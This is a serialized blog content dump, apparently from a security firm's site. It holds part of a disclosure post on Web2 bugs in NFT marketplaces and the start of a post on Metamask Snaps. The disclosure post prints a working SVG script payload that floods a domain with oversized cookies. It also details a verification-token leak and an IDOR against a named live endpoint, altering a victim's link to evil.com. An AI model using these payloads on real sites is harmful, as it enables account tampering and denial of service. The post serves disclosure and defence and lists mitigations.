shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[32355],{"type":23,"tag":135,"props":32356,"children":32357},{"__ignoreMap":7},[32358,32397,32428,32435,32462,32493,32520,32528,32536,32543,32555,32630,32638,32653],{"type":23,"tag":139,"props":32359,"children":32360},{"class":141,"line":142},[32361,32365,32369,32373,32377,32381,32385,32389,32393],{"type":23,"tag":139,"props":32362,"children":32363},{"style":982},[32364],{"type":28,"value":32068},{"type":23,"tag":139,"props":32366,"children":32367},{"style":294},[32368],{"type":28,"value":32073},{"type":23,"tag":139,"props":32370,"children":32371},{"style":294},[32372],{"type":28,"value":32078},{"type":23,"tag":139,"props":32374,"children":32375},{"style":982},[32376],{"type":28,"value":1067},{"type":23,"tag":139,"props":32378,"children":32379},{"style":265},[32380],{"type":28,"value":32087},{"type":23,"tag":139,"props":32382,"children":32383},{"style":294},[32384],{"type":28,"value":32092},{"type":23,"tag":139,"props":32386,"children":32387},{"style":982},[32388],{"type":28,"value":1067},{"type":23,"tag":139,"props":32390,"children":32391},{"style":265},[32392],{"type":28,"value":32101},{"type":23,"tag":139,"props":32394,"children":32395},{"style":982},[32396],{"type":28,"value":32106},{"type":23,"tag":139,"props":32398,"children":32399},{"class":141,"line":151},[32400,32404,32408,32412,32416,32420,32424],{"type":23,"tag":139,"props":32401,"children":32402},{"style":982},[32403],{"type":28,"value":32114},{"type":23,"tag":139,"props":32405,"children":32406},{"style":294},[32407],{"type":28,"value":32119},{"type":23,"tag":139,"props":32409,"children":32410},{"style":294},[32411],{"type":28,"value":32124},{"type":23,"tag":139,"props":32413,"children":32414},{"style":294},[32415],{"type":28,"value":32129},{"type":23,"tag":139,"props":32417,"children":32418},{"style":265},[32419],{"type":28,"value":32134},{"type":23,"tag":139,"props":32421,"children":32422},{"style":265},[32423],{"type":28,"value":32139},{"type":23,"tag":139,"props":32425,"children":32426},{"style":982},[32427],{"type":28,"value":3995},{"type":23,"tag":139,"props":32429,"children":32430},{"class":141,"line":160},[32431],{"type":23,"tag":139,"props":32432,"children":32433},{"emptyLinePlaceholder":15},[32434],{"type":28,"value":184},{"type":23,"tag":139,"props":32436,"children":32437},{"class":141,"line":169},[32438,32442,32446,32450,32454,32458],{"type":23,"tag":139,"props":32439,"children":32440},{"style":30263},[32441],{"type":28,"value":6724},{"type":23,"tag":139,"props":32443,"children":32444},{"style":279},[32445],{"type":28,"value":32162},{"type":23,"tag":139,"props":32447,"children":32448},{"style":294},[32449],{"type":28,"value":32167},{"type":23,"tag":139,"props":32451,"children":32452},{"style":982},[32453],{"type":28,"value":1067},{"type":23,"tag":139,"props":32455,"children":32456},{"style":265},[32457],{"type":28,"value":32176},{"type":23,"tag":139,"props":32459,"children":32460},{"style":30263},[32461],{"type":28,"value":3995},{"type":23,"tag":139,"props":32463,"children":32464},{"class":141,"line":178},[32465,32469,32473,32477,32481,32485,32489],{"type":23,"tag":139,"props":32466,"children":32467},{"style":30263},[32468],{"type":28,"value":30282},{"type":23,"tag":139,"props":32470,"children":32471},{"style":279},[32472],{"type":28,"value":32192},{"type":23,"tag":139,"props":32474,"children":32475},{"style":30263},[32476],{"type":28,"value":8471},{"type":23,"tag":139,"props":32478,"children":32479},{"style":259},[32480],{"type":28,"value":29124},{"type":23,"tag":139,"props":32482,"children":32483},{"style":30263},[32484],{"type":28,"value":30317},{"type":23,"tag":139,"props":32486,"children":32487},{"style":279},[32488],{"type":28,"value":32192},{"type":23,"tag":139,"props":32490,"children":32491},{"style":30263},[32492],{"type":28,"value":3995},{"type":23,"tag":139,"props":32494,"children":32495},{"class":141,"line":187},[32496,32500,32504,32508,32512,32516],{"type":23,"tag":139,"props":32497,"children":32498},{"style":30263},[32499],{"type":28,"value":30282},{"type":23,"tag":139,"props":32501,"children":32502},{"style":279},[32503],{"type":28,"value":30303},{"type":23,"tag":139,"props":32505,"children":32506},{"style":294},[32507],{"type":28,"value":30428},{"type":23,"tag":139,"props":32509,"children":32510},{"style":982},[32511],{"type":28,"value":1067},{"type":23,"tag":139,"props":32513,"children":32514},{"style":265},[32515],{"type":28,"value":32236},{"type":23,"tag":139,"props":32517,"children":32518},{"style":30263},[32519],{"type":28,"value":3995},{"type":23,"tag":139,"props":32521,"children":32522},{"class":141,"line":196},[32523],{"type":23,"tag":139,"props":32524,"children":32525},{"style":259},[32526],{"type":28,"value":32527},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":23,"tag":139,"props":32529,"children":32530},{"class":141,"line":205},[32531],{"type":23,"tag":139,"props":32532,"children":32533},{"style":259},[32534],{"type":28,"value":32535},"   var Set_Cookie = Array(10000).join('a');\n",{"type":23,"tag":139,"props":32537,"children":32538},{"class":141,"line":214},[32539],{"type":23,"tag":139,"props":32540,"children":32541},{"emptyLinePlaceholder":15},[32542],{"type":28,"value":184},{"type":23,"tag":139,"props":32544,"children":32545},{"class":141,"line":1320},[32546,32551],{"type":23,"tag":139,"props":32547,"children":32548},{"style":259},[32549],{"type":28,"value":32550},"   for (var i = 1; i \u003C 99; i++) ",{"type":23,"tag":139,"props":32552,"children":32553},{"style":279},[32554],{"type":28,"value":8890},{"type":23,"tag":139,"props":32556,"children":32557},{"class":141,"line":1329},[32558,32563,32567,32572,32576,32581,32586,32590,32594,32599,32603,32608,32612,32617,32621,32626],{"type":23,"tag":139,"props":32559,"children":32560},{"style":294},[32561],{"type":28,"value":32562},"    document",{"type":23,"tag":139,"props":32564,"children":32565},{"style":982},[32566],{"type":28,"value":73},{"type":23,"tag":139,"props":32568,"children":32569},{"style":294},[32570],{"type":28,"value":32571},"cookie",{"type":23,"tag":139,"props":32573,"children":32574},{"style":982},[32575],{"type":28,"value":30799},{"type":23,"tag":139,"props":32577,"children":32578},{"style":265},[32579],{"type":28,"value":32580},"'Cookie'",{"type":23,"tag":139,"props":32582,"children":32583},{"style":982},[32584],{"type":28,"value":32585}," + ",{"type":23,"tag":139,"props":32587,"children":32588},{"style":294},[32589],{"type":28,"value":1728},{"type":23,"tag":139,"props":32591,"children":32592},{"style":982},[32593],{"type":28,"value":32585},{"type":23,"tag":139,"props":32595,"children":32596},{"style":265},[32597],{"type":28,"value":32598},"'='",{"type":23,"tag":139,"props":32600,"children":32601},{"style":982},[32602],{"type":28,"value":32585},{"type":23,"tag":139,"props":32604,"children":32605},{"style":294},[32606],{"type":28,"value":32607},"Set_Cookie",{"type":23,"tag":139,"props":32609,"children":32610},{"style":982},[32611],{"type":28,"value":32585},{"type":23,"tag":139,"props":32613,"children":32614},{"style":265},[32615],{"type":28,"value":32616},"';Domain='",{"type":23,"tag":139,"props":32618,"children":32619},{"style":982},[32620],{"type":28,"value":32585},{"type":23,"tag":139,"props":32622,"children":32623},{"style":294},[32624],{"type":28,"value":32625},"Take_Domain",{"type":23,"tag":139,"props":32627,"children":32628},{"style":982},[32629],{"type":28,"value":995},{"type":23,"tag":139,"props":32631,"children":32632},{"class":141,"line":1580},[32633],{"type":23,"tag":139,"props":32634,"children":32635},{"style":279},[32636],{"type":28,"value":32637},"   }\n",{"type":23,"tag":139,"props":32639,"children":32640},{"class":141,"line":1597},[32641,32645,32649],{"type":23,"tag":139,"props":32642,"children":32643},{"style":30263},[32644],{"type":28,"value":32256},{"type":23,"tag":139,"props":32646,"children":32647},{"style":279},[32648],{"type":28,"value":30303},{"type":23,"tag":139,"props":32650,"children":32651},{"style":30263},[32652],{"type":28,"value":3995},{"type":23,"tag":139,"props":32654,"children":32655},{"class":141,"line":1614},[32656,32660,32664],{"type":23,"tag":139,"props":32657,"children":32658},{"style":30263},[32659],{"type":28,"value":32272},{"type":23,"tag":139,"props":32661,"children":32662},{"style":279},[32663],{"type":28,"value":32162},{"type":23,"tag":139,"props":32665,"children":32666},{"style":30263},[32667],{"type":28,"value":3995},{"type":23,"tag":24,"props":32669,"children":32670},{},[32671],{"type":28,"value":32672},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":41,"props":32674,"children":32676},{"id":32675},"authentication",[32677],{"type":28,"value":32678},"Authentication",{"type":23,"tag":24,"props":32680,"children":32681},{},[32682],{"type":23,"tag":659,"props":32683,"children":32684},{},[32685,32687,32694],{"type":28,"value":32686},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":64,"props":32688,"children":32691},{"href":32689,"rel":32690},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[68],[32692],{"type":28,"value":32693},"great misfortune has occured",{"type":28,"value":73},{"type":23,"tag":666,"props":32696,"children":32698},{"id":32697},"verification-token-leakage",[32699],{"type":28,"value":32700},"Verification Token Leakage",{"type":23,"tag":24,"props":32702,"children":32703},{},[32704],{"type":28,"value":32705},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":24,"props":32707,"children":32708},{},[32709],{"type":28,"value":32710},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":24,"props":32712,"children":32713},{},[32714,32719],{"type":23,"tag":659,"props":32715,"children":32716},{},[32717],{"type":28,"value":32718},"Proof of Concept",{"type":28,"value":32720},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":24,"props":32722,"children":32723},{},[32724],{"type":28,"value":32725},"Here's the breakdown.",{"type":23,"tag":24,"props":32727,"children":32728},{},[32729],{"type":28,"value":32730},"First, we send the verification link to a user's email:",{"type":23,"tag":29233,"props":32732,"children":32733},{"style":29235},[32734],{"type":23,"tag":429,"props":32735,"children":32739},{"src":32736,"alt":32737,"style":32738},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":24,"props":32741,"children":32742},{},[32743],{"type":28,"value":32744},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":666,"props":32746,"children":32748},{"id":32747},"idor",[32749],{"type":28,"value":32750},"IDOR",{"type":23,"tag":24,"props":32752,"children":32753},{},[32754],{"type":23,"tag":659,"props":32755,"children":32756},{},[32757,32759,32766],{"type":28,"value":32758},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":64,"props":32760,"children":32763},{"href":32761,"rel":32762},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[68],[32764],{"type":28,"value":32765},"insect",{"type":28,"value":73},{"type":23,"tag":24,"props":32768,"children":32769},{},[32770,32772,32778],{"type":28,"value":32771},"During a security assessment of the ",{"type":23,"tag":64,"props":32773,"children":32776},{"href":32774,"rel":32775},"https://rocki.com",[68],[32777],{"type":28,"value":29171},{"type":28,"value":32779},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":24,"props":32781,"children":32782},{},[32783],{"type":28,"value":32784},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":24,"props":32786,"children":32787},{},[32788],{"type":28,"value":32789},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":24,"props":32791,"children":32792},{},[32793,32795,32801,32803,32808],{"type":28,"value":32794},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":135,"props":32796,"children":32798},{"className":32797},[],[32799],{"type":28,"value":32800},"https://evil.com/",{"type":28,"value":32802},". To achieve this, we simply changed the ",{"type":23,"tag":135,"props":32804,"children":32806},{"className":32805},[],[32807],{"type":28,"value":1466},{"type":28,"value":32809}," field value to one that belongs to another user:",{"type":23,"tag":24,"props":32811,"children":32812},{},[32813],{"type":23,"tag":429,"props":32814,"children":32816},{"alt":7,"src":32815},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":24,"props":32818,"children":32819},{},[32820],{"type":28,"value":32821},"The following screenshot is the response to our request:",{"type":23,"tag":24,"props":32823,"children":32824},{},[32825],{"type":23,"tag":429,"props":32826,"children":32828},{"alt":7,"src":32827},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":41,"props":32830,"children":32832},{"id":32831},"preventative-action-steps-for-marketplaces",[32833],{"type":23,"tag":56,"props":32834,"children":32835},{},[32836],{"type":28,"value":32837},"Preventative Action Steps for Marketplaces",{"type":23,"tag":24,"props":32839,"children":32840},{},[32841],{"type":28,"value":32842},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":24,"props":32844,"children":32845},{},[32846,32848,32854,32856,32862],{"type":28,"value":32847},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":135,"props":32849,"children":32851},{"className":32850},[],[32852],{"type":28,"value":32853},"innerText",{"type":28,"value":32855}," instead of ",{"type":23,"tag":135,"props":32857,"children":32859},{"className":32858},[],[32860],{"type":28,"value":32861},"innerHTML",{"type":28,"value":32863}," in client-side:",{"type":23,"tag":128,"props":32865,"children":32867},{"className":29250,"code":32866,"language":29252,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[32868],{"type":23,"tag":135,"props":32869,"children":32870},{"__ignoreMap":7},[32871],{"type":23,"tag":139,"props":32872,"children":32873},{"class":141,"line":142},[32874,32878,32882,32887,32891,32896,32900,32904,32908,32913],{"type":23,"tag":139,"props":32875,"children":32876},{"style":294},[32877],{"type":28,"value":30595},{"type":23,"tag":139,"props":32879,"children":32880},{"style":259},[32881],{"type":28,"value":73},{"type":23,"tag":139,"props":32883,"children":32884},{"style":245},[32885],{"type":28,"value":32886},"getElementById",{"type":23,"tag":139,"props":32888,"children":32889},{"style":259},[32890],{"type":28,"value":262},{"type":23,"tag":139,"props":32892,"children":32893},{"style":265},[32894],{"type":28,"value":32895},"'nftCollectionName'",{"type":23,"tag":139,"props":32897,"children":32898},{"style":259},[32899],{"type":28,"value":18750},{"type":23,"tag":139,"props":32901,"children":32902},{"style":294},[32903],{"type":28,"value":32853},{"type":23,"tag":139,"props":32905,"children":32906},{"style":982},[32907],{"type":28,"value":985},{"type":23,"tag":139,"props":32909,"children":32910},{"style":294},[32911],{"type":28,"value":32912}," nftCollectionName",{"type":23,"tag":139,"props":32914,"children":32915},{"style":259},[32916],{"type":28,"value":995},{"type":23,"tag":24,"props":32918,"children":32919},{},[32920],{"type":28,"value":32921},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":128,"props":32923,"children":32925},{"className":29250,"code":32924,"language":29252,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[32926],{"type":23,"tag":135,"props":32927,"children":32928},{"__ignoreMap":7},[32929],{"type":23,"tag":139,"props":32930,"children":32931},{"class":141,"line":142},[32932,32937,32942,32946,32951,32955,32960,32964,32969],{"type":23,"tag":139,"props":32933,"children":32934},{"style":279},[32935],{"type":28,"value":32936},"var",{"type":23,"tag":139,"props":32938,"children":32939},{"style":294},[32940],{"type":28,"value":32941}," sanitizedInput",{"type":23,"tag":139,"props":32943,"children":32944},{"style":982},[32945],{"type":28,"value":985},{"type":23,"tag":139,"props":32947,"children":32948},{"style":294},[32949],{"type":28,"value":32950}," DOMPurify",{"type":23,"tag":139,"props":32952,"children":32953},{"style":259},[32954],{"type":28,"value":73},{"type":23,"tag":139,"props":32956,"children":32957},{"style":245},[32958],{"type":28,"value":32959},"sanitize",{"type":23,"tag":139,"props":32961,"children":32962},{"style":259},[32963],{"type":28,"value":262},{"type":23,"tag":139,"props":32965,"children":32966},{"style":294},[32967],{"type":28,"value":32968},"userInput",{"type":23,"tag":139,"props":32970,"children":32971},{"style":259},[32972],{"type":28,"value":1820},{"type":23,"tag":24,"props":32974,"children":32975},{},[32976,32978,32985],{"type":28,"value":32977},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":64,"props":32979,"children":32982},{"href":32980,"rel":32981},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[68],[32983],{"type":28,"value":32984},"Content-Security-Policy",{"type":28,"value":32986}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":24,"props":32988,"children":32989},{},[32990],{"type":28,"value":32991},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":24,"props":32993,"children":32994},{},[32995,32997,33004],{"type":28,"value":32996},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":64,"props":32998,"children":33001},{"href":32999,"rel":33000},"https://www.techtarget.com/whatis/definition/whitelist",[68],[33002],{"type":28,"value":33003},"allow-list",{"type":28,"value":33005}," :",{"type":23,"tag":128,"props":33007,"children":33009},{"className":29250,"code":33008,"language":29252,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[33010],{"type":23,"tag":135,"props":33011,"children":33012},{"__ignoreMap":7},[33013,33042,33084,33114],{"type":23,"tag":139,"props":33014,"children":33015},{"class":141,"line":142},[33016,33020,33025,33029,33033,33038],{"type":23,"tag":139,"props":33017,"children":33018},{"style":279},[33019],{"type":28,"value":7663},{"type":23,"tag":139,"props":33021,"children":33022},{"style":294},[33023],{"type":28,"value":33024}," allowDomains",{"type":23,"tag":139,"props":33026,"children":33027},{"style":982},[33028],{"type":28,"value":985},{"type":23,"tag":139,"props":33030,"children":33031},{"style":259},[33032],{"type":28,"value":21041},{"type":23,"tag":139,"props":33034,"children":33035},{"style":265},[33036],{"type":28,"value":33037},"'https://allowed-domain'",{"type":23,"tag":139,"props":33039,"children":33040},{"style":259},[33041],{"type":28,"value":29461},{"type":23,"tag":139,"props":33043,"children":33044},{"class":141,"line":151},[33045,33049,33053,33057,33062,33066,33071,33075,33079],{"type":23,"tag":139,"props":33046,"children":33047},{"style":319},[33048],{"type":28,"value":13590},{"type":23,"tag":139,"props":33050,"children":33051},{"style":259},[33052],{"type":28,"value":1042},{"type":23,"tag":139,"props":33054,"children":33055},{"style":982},[33056],{"type":28,"value":18629},{"type":23,"tag":139,"props":33058,"children":33059},{"style":294},[33060],{"type":28,"value":33061},"allowDomains",{"type":23,"tag":139,"props":33063,"children":33064},{"style":259},[33065],{"type":28,"value":73},{"type":23,"tag":139,"props":33067,"children":33068},{"style":245},[33069],{"type":28,"value":33070},"includes",{"type":23,"tag":139,"props":33072,"children":33073},{"style":259},[33074],{"type":28,"value":262},{"type":23,"tag":139,"props":33076,"children":33077},{"style":294},[33078],{"type":28,"value":30605},{"type":23,"tag":139,"props":33080,"children":33081},{"style":259},[33082],{"type":28,"value":33083},")) {\n",{"type":23,"tag":139,"props":33085,"children":33086},{"class":141,"line":160},[33087,33092,33096,33101,33105,33110],{"type":23,"tag":139,"props":33088,"children":33089},{"style":319},[33090],{"type":28,"value":33091},"  throw",{"type":23,"tag":139,"props":33093,"children":33094},{"style":279},[33095],{"type":28,"value":29820},{"type":23,"tag":139,"props":33097,"children":33098},{"style":245},[33099],{"type":28,"value":33100}," ApolloError",{"type":23,"tag":139,"props":33102,"children":33103},{"style":259},[33104],{"type":28,"value":262},{"type":23,"tag":139,"props":33106,"children":33107},{"style":265},[33108],{"type":28,"value":33109},"'invalid domain'",{"type":23,"tag":139,"props":33111,"children":33112},{"style":259},[33113],{"type":28,"value":1820},{"type":23,"tag":139,"props":33115,"children":33116},{"class":141,"line":169},[33117],{"type":23,"tag":139,"props":33118,"children":33119},{"style":259},[33120],{"type":28,"value":1897},{"type":23,"tag":24,"props":33122,"children":33123},{},[33124,33126,33133,33135,33142],{"type":28,"value":33125},"As ",{"type":23,"tag":64,"props":33127,"children":33130},{"href":33128,"rel":33129},"https://graphql.org/",[68],[33131],{"type":28,"value":33132},"GraphQl",{"type":28,"value":33134}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":64,"props":33136,"children":33139},{"href":33137,"rel":33138},"https://graphql.org/learn/introspection/",[68],[33140],{"type":28,"value":33141},"introspection",{"type":28,"value":33143}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":128,"props":33145,"children":33147},{"className":29250,"code":33146,"language":29252,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[33148],{"type":23,"tag":135,"props":33149,"children":33150},{"__ignoreMap":7},[33151,33180,33192,33204,33220],{"type":23,"tag":139,"props":33152,"children":33153},{"class":141,"line":142},[33154,33158,33163,33167,33171,33176],{"type":23,"tag":139,"props":33155,"children":33156},{"style":279},[33157],{"type":28,"value":7663},{"type":23,"tag":139,"props":33159,"children":33160},{"style":294},[33161],{"type":28,"value":33162}," server",{"type":23,"tag":139,"props":33164,"children":33165},{"style":982},[33166],{"type":28,"value":985},{"type":23,"tag":139,"props":33168,"children":33169},{"style":279},[33170],{"type":28,"value":29820},{"type":23,"tag":139,"props":33172,"children":33173},{"style":245},[33174],{"type":28,"value":33175}," ApolloServer",{"type":23,"tag":139,"props":33177,"children":33178},{"style":259},[33179],{"type":28,"value":13152},{"type":23,"tag":139,"props":33181,"children":33182},{"class":141,"line":151},[33183,33188],{"type":23,"tag":139,"props":33184,"children":33185},{"style":294},[33186],{"type":28,"value":33187},"  typeDefs",{"type":23,"tag":139,"props":33189,"children":33190},{"style":259},[33191],{"type":28,"value":1488},{"type":23,"tag":139,"props":33193,"children":33194},{"class":141,"line":160},[33195,33200],{"type":23,"tag":139,"props":33196,"children":33197},{"style":294},[33198],{"type":28,"value":33199},"  resolvers",{"type":23,"tag":139,"props":33201,"children":33202},{"style":259},[33203],{"type":28,"value":1488},{"type":23,"tag":139,"props":33205,"children":33206},{"class":141,"line":169},[33207,33212,33216],{"type":23,"tag":139,"props":33208,"children":33209},{"style":294},[33210],{"type":28,"value":33211},"  introspection:",{"type":23,"tag":139,"props":33213,"children":33214},{"style":279},[33215],{"type":28,"value":7064},{"type":23,"tag":139,"props":33217,"children":33218},{"style":259},[33219],{"type":28,"value":1488},{"type":23,"tag":139,"props":33221,"children":33222},{"class":141,"line":178},[33223],{"type":23,"tag":139,"props":33224,"children":33225},{"style":259},[33226],{"type":28,"value":33227},"});\n",{"type":23,"tag":24,"props":33229,"children":33230},{},[33231,33233,33240,33242,33249],{"type":28,"value":33232},"Similarly, when ",{"type":23,"tag":64,"props":33234,"children":33237},{"href":33235,"rel":33236},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[68],[33238],{"type":28,"value":33239},"batching",{"type":28,"value":33241}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":64,"props":33243,"children":33246},{"href":33244,"rel":33245},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[68],[33247],{"type":28,"value":33248},"denial-of-service",{"type":28,"value":33250}," (DoS) attacks.",{"type":23,"tag":24,"props":33252,"children":33253},{},[33254],{"type":28,"value":33255},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":24,"props":33257,"children":33258},{},[33259],{"type":28,"value":33260},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":33262,"props":33263,"children":33264},"h1",{"id":26955},[33265],{"type":28,"value":16955},{"type":23,"tag":24,"props":33267,"children":33268},{},[33269],{"type":28,"value":33270},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":24,"props":33272,"children":33273},{},[33274],{"type":28,"value":33275},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":41,"props":33277,"children":33279},{"id":33278},"disclaimer",[33280],{"type":28,"value":33281},"Disclaimer",{"type":23,"tag":24,"props":33283,"children":33284},{},[33285],{"type":28,"value":33286},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":817,"props":33288,"children":33289},{},[33290],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":33292},[33293,33296,33302,33306,33307],{"id":27037,"depth":151,"text":27040,"children":33294},[33295],{"id":886,"depth":160,"text":889},{"id":29094,"depth":151,"text":29124,"children":33297},[33298,33299,33300,33301],{"id":29143,"depth":160,"text":29146},{"id":29208,"depth":160,"text":29211},{"id":32040,"depth":160,"text":32043},{"id":32330,"depth":160,"text":32333},{"id":32675,"depth":151,"text":32678,"children":33303},[33304,33305],{"id":32697,"depth":160,"text":32700},{"id":32747,"depth":160,"text":32750},{"id":32831,"depth":151,"text":32837},{"id":33278,"depth":151,"text":33281},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":33312,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33313,"description":33314,"author":33315,"image":33316,"date":33318,"isFeatured":15,"onBlogPage":15,"body":33319,"_type":831,"_id":38335,"_source":833,"_file":38336,"_stem":38337,"_extension":836},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[29088,29087],{"src":33317,"height":11634,"width":13},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":33320,"toc":38316},[33321,33325,33330,33335,33340,33346,33351,33357,33370,33375,33380,33387,33419,33425,33430,33448,33455,33461,33475,33481,33501,33765,33793,33799,33818,34204,34223,34236,34554,34575,34846,34851,34857,34862,34875,34880,34893,35152,35196,35209,35215,35229,35235,35241,35254,35291,35297,35317,35428,35455,35461,35479,35492,35498,35503,35521,35632,35637,35658,35671,35688,35788,35814,35831,35953,35979,35991,35996,36002,36008,36013,36036,36041,36046,36052,36058,36085,36488,36515,36542,36548,36579,36888,36907,36912,36937,36950,36956,36983,37278,37314,37332,37337,37372,37377,37381,37386,37393,37398,37425,38202,38222,38228,38249,38298,38302,38307,38312],{"type":23,"tag":41,"props":33322,"children":33323},{"id":16964},[33324],{"type":28,"value":16967},{"type":23,"tag":24,"props":33326,"children":33327},{},[33328],{"type":28,"value":33329},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":24,"props":33331,"children":33332},{},[33333],{"type":28,"value":33334},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":24,"props":33336,"children":33337},{},[33338],{"type":28,"value":33339},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":41,"props":33341,"children":33343},{"id":33342},"sandbox-security",[33344],{"type":28,"value":33345},"Sandbox Security",{"type":23,"tag":24,"props":33347,"children":33348},{},[33349],{"type":28,"value":33350},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":666,"props":33352,"children":33354},{"id":33353},"permission-based-security",[33355],{"type":28,"value":33356},"Permission-based security",{"type":23,"tag":24,"props":33358,"children":33359},{},[33360,33362,33368],{"type":28,"value":33361},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the 